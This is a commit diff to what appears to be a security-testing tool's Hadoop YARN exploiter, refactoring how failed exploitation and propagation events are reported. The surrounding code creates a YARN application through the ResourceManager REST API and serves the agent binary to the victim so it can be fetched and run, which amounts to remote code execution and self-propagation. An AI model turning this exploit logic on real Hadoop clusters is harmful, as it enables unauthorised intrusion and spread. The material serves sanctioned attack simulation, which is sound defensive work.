Agent: Update hadoop failed event publishing
This commit is contained in:
parent
57af640317
commit
bee1047024
|
@ -55,22 +55,13 @@ class HadoopExploiter(WebRCE):
|
||||||
)
|
)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
|
||||||
except KeyError:
|
|
||||||
self.exploit_result.error_message = f"No coressponding agent found for {self.host}"
|
|
||||||
self._publish_exploitation_event(
|
|
||||||
target=self.host.ip_addr,
|
|
||||||
exploitation_success=False,
|
|
||||||
error_message=self.exploit_result.error_message,
|
|
||||||
tags=(HADOOP_EXPLOITER_TAG,),
|
|
||||||
)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
self.host, str(monkey_path_on_victim), self.agent_binary_repository
|
self.host, str(monkey_path_on_victim), self.agent_binary_repository
|
||||||
)
|
)
|
||||||
|
|
||||||
|
tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG)
|
||||||
try:
|
try:
|
||||||
command = self._build_command(monkey_path_on_victim, http_path)
|
command = self._build_command(monkey_path_on_victim, http_path)
|
||||||
|
|
||||||
|
@ -89,13 +80,21 @@ class HadoopExploiter(WebRCE):
|
||||||
propagation_success=True,
|
propagation_success=True,
|
||||||
tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG),
|
tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG),
|
||||||
)
|
)
|
||||||
|
else:
|
||||||
|
error_message = f"Failed to exploit via {self.vulnerable_urls[0]}"
|
||||||
|
self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message)
|
||||||
|
self._publish_propagation_event(self.host.ip_addr, False, tags, error_message)
|
||||||
|
except requests.RequestException as err:
|
||||||
|
error_message = str(err)
|
||||||
|
self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message)
|
||||||
|
self._publish_propagation_event(self.host.ip_addr, False, tags, error_message)
|
||||||
finally:
|
finally:
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def exploit(self, url, command):
|
def exploit(self, url: str, command: str):
|
||||||
if self._is_interrupted():
|
if self._is_interrupted():
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
return False
|
return False
|
||||||
|
@ -104,8 +103,8 @@ class HadoopExploiter(WebRCE):
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
||||||
)
|
)
|
||||||
resp = json.loads(resp.content)
|
resp_dict = json.loads(resp.content)
|
||||||
app_id = resp["application-id"]
|
app_id = resp_dict["application-id"]
|
||||||
|
|
||||||
# Create a random name for our application in YARN
|
# Create a random name for our application in YARN
|
||||||
# random.SystemRandom can block indefinitely in Linux
|
# random.SystemRandom can block indefinitely in Linux
|
||||||
|
|
Loading…
Reference in New Issue